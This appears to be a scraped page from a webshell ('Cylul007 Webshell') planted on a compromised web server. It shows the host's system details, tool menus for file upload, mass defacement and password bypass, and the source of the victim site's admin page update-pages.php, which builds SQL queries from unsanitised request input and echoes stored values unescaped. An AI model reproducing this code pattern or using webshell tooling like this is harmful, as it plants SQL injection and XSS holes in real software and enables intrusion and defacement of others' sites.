Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 19:28:40
Current Directory :
/
home
/
amvm
/
www
/
rampurnarotampur
/
myadmin
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : /home/amvm/www/rampurnarotampur/myadmin/update-pages.php
<?php include('header.php');?> <!-- =============================================== --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Update Pages </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">Update Pages</a></li> <li class="active">Update</li> </ol> </section> <!-- Main content --> <section class="content"> <div class="callout callout-info"> <h4>Tip!</h4> <p>This page will use to add new page in the admin panel.</p> </div> <!-- Default box --> <?php if(isset($_GET['edit_id'])) { $page_id = $_GET['edit_id']; $get_single_record = "select * from pages where id = '$page_id'"; } if (isset($_POST['edit'])) { //print_r($_POST); $page_title = $_POST['title']; $page_desc = $_POST['editor']; //$escape_desc = mysqli_escape_string($page_desc); $sql_query = "UPDATE pages SET title = '$page_title', description = '$page_desc' WHERE id = '$page_id'"; $mysql_2 = mysqli_query($mysql_con, $sql_query); if ($mysql_2 == 1){ echo "<script>window.location.href = 'pages.php';</script>"; } else { echo 'Something going wrong'; } /* // print_r($post); //header("Location: pages.php"); //print_r($mysql_2); exit(); */ } $result = mysqli_query($mysql_con, $get_single_record); $row = mysqli_fetch_array($result); ?> <form method="Post" role="form" enctype="multipart/form-data"> <div class="box-body"> <div class="form-group"> <label for="exampleInputEmail1">Page Title</label> <input type="text" name="title" class="form-control" id="exampleInputEmail1" value="<?php echo $row['title']; ?>" placeholder="Enter class"> </div> <div class="form-group"> <label for="exampleInputFile">Description</label> <textarea name="editor" > <?php echo $row['description']; ?> </textarea> </div> </div> <!-- /.box-body --> <div class="box-footer"> <button type="submit" name="edit" value="submit" class="btn btn-primary">Submit</button> </div> </form> <!-- /.box --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <!--textarea script start--> <script>CKEDITOR.replace( 'editor' ); </script> <!--textarea script end--> <?php include("footer.php"); ?>
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18